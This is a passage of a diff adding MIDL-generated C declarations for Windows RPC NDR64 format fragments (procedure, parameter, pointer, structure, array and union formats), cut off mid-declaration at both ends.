NDR64_UINT32 frag10; +} +__midl_frag963_t; +extern const __midl_frag963_t __midl_frag963; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3; + struct _NDR64_BUFFER_ALIGN_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + } frag2; +} +__midl_frag962_t; +extern const __midl_frag962_t __midl_frag962; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag961_t; +extern const __midl_frag961_t __midl_frag961; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; +} +__midl_frag958_t; +extern const __midl_frag958_t __midl_frag958; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; +} +__midl_frag952_t; +extern const __midl_frag952_t __midl_frag952; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag950_t; +extern const __midl_frag950_t __midl_frag950; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_PARAM_FORMAT frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag949_t; +extern const __midl_frag949_t __midl_frag949; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag939_t; +extern const __midl_frag939_t __midl_frag939; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag938_t; +extern const __midl_frag938_t __midl_frag938; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag936_t; +extern const __midl_frag936_t __midl_frag936; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; +} +__midl_frag929_t; +extern const __midl_frag929_t __midl_frag929; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag928_t; +extern const __midl_frag928_t __midl_frag928; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag927_t; +extern const __midl_frag927_t __midl_frag927; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag926_t; +extern const __midl_frag926_t __midl_frag926; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct + { + struct _NDR64_REPEAT_FORMAT frag1; + struct + { + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + } frag2; + NDR64_FORMAT_CHAR frag3; + } frag2; + struct _NDR64_ARRAY_ELEMENT_INFO frag3; +} +__midl_frag925_t; +extern const __midl_frag925_t __midl_frag925; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag6; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag7; + struct _NDR64_MEMPAD_FORMAT frag8; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag9; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag10; + } frag2; +} +__midl_frag922_t; +extern const __midl_frag922_t __midl_frag922; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag921_t; +extern const __midl_frag921_t __midl_frag921; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; +} +__midl_frag920_t; +extern const __midl_frag920_t __midl_frag920; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag6; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag7; + } frag2; +} +__midl_frag917_t; +extern const __midl_frag917_t __midl_frag917; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag916_t; +extern const __midl_frag916_t __midl_frag916; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag6; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag7; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag8; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag9; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag10; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag11; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag12; + } frag2; +} +__midl_frag912_t; +extern const __midl_frag912_t __midl_frag912; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag911_t; +extern const __midl_frag911_t __midl_frag911; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; +} +__midl_frag910_t; +extern const __midl_frag910_t __midl_frag910; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag909_t; +extern const __midl_frag909_t __midl_frag909; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_NO_REPEAT_FORMAT frag1; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + struct _NDR64_NO_REPEAT_FORMAT frag4; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5; + struct _NDR64_POINTER_FORMAT frag6; + NDR64_FORMAT_CHAR frag7; + } frag2; +} +__midl_frag906_t; +extern const __midl_frag906_t __midl_frag906; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag905_t; +extern const __midl_frag905_t __midl_frag905; + +typedef +struct +{ + struct _NDR64_FIX_ARRAY_HEADER_FORMAT frag1; +} +__midl_frag904_t; +extern const __midl_frag904_t __midl_frag904; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + struct _NDR64_POINTER_FORMAT frag4; +} +__midl_frag903_t; +extern const __midl_frag903_t __midl_frag903; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag6; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag7; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag8; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag9; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag10; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag11; + struct _NDR64_MEMPAD_FORMAT frag12; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag13; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag14; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag15; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag16; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag17; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag18; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag19; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag20; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag21; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag22; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag23; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag24; + } frag2; +} +__midl_frag898_t; +extern const __midl_frag898_t __midl_frag898; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag897_t; +extern const __midl_frag897_t __midl_frag897; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; +} +__midl_frag896_t; +extern const __midl_frag896_t __midl_frag896; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag895_t; +extern const __midl_frag895_t __midl_frag895; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag894_t; +extern const __midl_frag894_t __midl_frag894; + +typedef +struct +{ + struct _NDR64_NON_ENCAPSULATED_UNION frag1; + struct _NDR64_UNION_ARM_SELECTOR frag2; + struct _NDR64_UNION_ARM frag3; + struct _NDR64_UNION_ARM frag4; + struct _NDR64_UNION_ARM frag5; + struct _NDR64_UNION_ARM frag6; + struct _NDR64_UNION_ARM frag7; + struct _NDR64_UNION_ARM frag8; + struct _NDR64_UNION_ARM frag9; + NDR64_UINT32 frag10; +} +__midl_frag893_t; +extern const __midl_frag893_t __midl_frag893; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; +} +__midl_frag892_t; +extern const __midl_frag892_t __midl_frag892; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag890_t; +extern const __midl_frag890_t __midl_frag890; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag889_t; +extern const __midl_frag889_t __midl_frag889; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag887_t; +extern const __midl_frag887_t __midl_frag887; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag886_t; +extern const __midl_frag886_t __midl_frag886; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3; + struct _NDR64_BUFFER_ALIGN_FORMAT frag4; + struct _NDR64_BUFFER_ALIGN_FORMAT frag5; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag6; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag7; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag8; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag9; + struct _NDR64_MEMPAD_FORMAT frag10; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag11; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag12; + struct _NDR64_MEMPAD_FORMAT frag13; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag14; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag15; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag16; + } frag2; +} +__midl_frag884_t; +extern const __midl_frag884_t __midl_frag884; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag883_t; +extern const __midl_frag883_t __midl_frag883; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_PARAM_FORMAT frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; +} +__midl_frag880_t; +extern const __midl_frag880_t __midl_frag880; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag874_t; +extern const __midl_frag874_t __midl_frag874; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag869_t; +extern const __midl_frag869_t __midl_frag869; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag862_t; +extern const __midl_frag862_t __midl_frag862; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_PARAM_FORMAT frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag855_t; +extern const __midl_frag855_t __midl_frag855; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag845_t; +extern const __midl_frag845_t __midl_frag845; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag844_t; +extern const __midl_frag844_t __midl_frag844; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag842_t; +extern const __midl_frag842_t __midl_frag842; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_PARAM_FORMAT frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag835_t; +extern const __midl_frag835_t __midl_frag835; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag828_t; +extern const __midl_frag828_t __midl_frag828; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_NO_REPEAT_FORMAT frag1; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + NDR64_FORMAT_CHAR frag4; + } frag2; +} +__midl_frag822_t; +extern const __midl_frag822_t __midl_frag822; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag817_t; +extern const __midl_frag817_t __midl_frag817; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; +} +__midl_frag813_t; +extern const __midl_frag813_t __midl_frag813; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag808_t; +extern const __midl_frag808_t __midl_frag808; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag790_t; +extern const __midl_frag790_t __midl_frag790; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_PARAM_FORMAT frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag781_t; +extern const __midl_frag781_t __midl_frag781; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag770_t; +extern const __midl_frag770_t __midl_frag770; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_PARAM_FORMAT frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag756_t; +extern const __midl_frag756_t __midl_frag756; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag752_t; +extern const __midl_frag752_t __midl_frag752; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag751_t; +extern const __midl_frag751_t __midl_frag751; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_PARAM_FORMAT frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag730_t; +extern const __midl_frag730_t __midl_frag730; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag718_t; +extern const __midl_frag718_t __midl_frag718; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; +} +__midl_frag714_t; +extern const __midl_frag714_t __midl_frag714; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag713_t; +extern const __midl_frag713_t __midl_frag713; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag712_t; +extern const __midl_frag712_t __midl_frag712; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag710_t; +extern const __midl_frag710_t __midl_frag710; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; +} +__midl_frag692_t; +extern const __midl_frag692_t __midl_frag692; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag691_t; +extern const __midl_frag691_t __midl_frag691; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag689_t; +extern const __midl_frag689_t __midl_frag689; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; +} +__midl_frag685_t; +extern const __midl_frag685_t __midl_frag685; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag684_t; +extern const __midl_frag684_t __midl_frag684; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag682_t; +extern const __midl_frag682_t __midl_frag682; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_OPERATOR frag2; + struct _NDR64_EXPR_VAR frag3; +} +__midl_frag677_t; +extern const __midl_frag677_t __midl_frag677; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag676_t; +extern const __midl_frag676_t __midl_frag676; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag675_t; +extern const __midl_frag675_t __midl_frag675; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag674_t; +extern const __midl_frag674_t __midl_frag674; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag669_t; +extern const __midl_frag669_t __midl_frag669; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag668_t; +extern const __midl_frag668_t __midl_frag668; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag667_t; +extern const __midl_frag667_t __midl_frag667; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_NO_REPEAT_FORMAT frag1; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + NDR64_FORMAT_CHAR frag4; + } frag2; +} +__midl_frag664_t; +extern const __midl_frag664_t __midl_frag664; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag663_t; +extern const __midl_frag663_t __midl_frag663; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; + struct _NDR64_PARAM_FORMAT frag9; + struct _NDR64_PARAM_FORMAT frag10; + struct _NDR64_PARAM_FORMAT frag11; +} +__midl_frag661_t; +extern const __midl_frag661_t __midl_frag661; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_OPERATOR frag2; + struct _NDR64_EXPR_VAR frag3; +} +__midl_frag656_t; +extern const __midl_frag656_t __midl_frag656; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag655_t; +extern const __midl_frag655_t __midl_frag655; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag654_t; +extern const __midl_frag654_t __midl_frag654; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag653_t; +extern const __midl_frag653_t __midl_frag653; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag649_t; +extern const __midl_frag649_t __midl_frag649; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; + struct _NDR64_PARAM_FORMAT frag9; + struct _NDR64_PARAM_FORMAT frag10; +} +__midl_frag633_t; +extern const __midl_frag633_t __midl_frag633; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag618_t; +extern const __midl_frag618_t __midl_frag618; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_PARAM_FORMAT frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag609_t; +extern const __midl_frag609_t __midl_frag609; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag604_t; +extern const __midl_frag604_t __midl_frag604; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag603_t; +extern const __midl_frag603_t __midl_frag603; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag600_t; +extern const __midl_frag600_t __midl_frag600; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_OPERATOR frag2; + struct _NDR64_EXPR_VAR frag3; +} +__midl_frag596_t; +extern const __midl_frag596_t __midl_frag596; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag595_t; +extern const __midl_frag595_t __midl_frag595; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag594_t; +extern const __midl_frag594_t __midl_frag594; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag593_t; +extern const __midl_frag593_t __midl_frag593; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag589_t; +extern const __midl_frag589_t __midl_frag589; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; +} +__midl_frag585_t; +extern const __midl_frag585_t __midl_frag585; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag584_t; +extern const __midl_frag584_t __midl_frag584; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + struct _NDR64_POINTER_FORMAT frag4; +} +__midl_frag583_t; +extern const __midl_frag583_t __midl_frag583; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + struct _NDR64_MEMPAD_FORMAT frag6; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag7; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag8; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag9; + struct 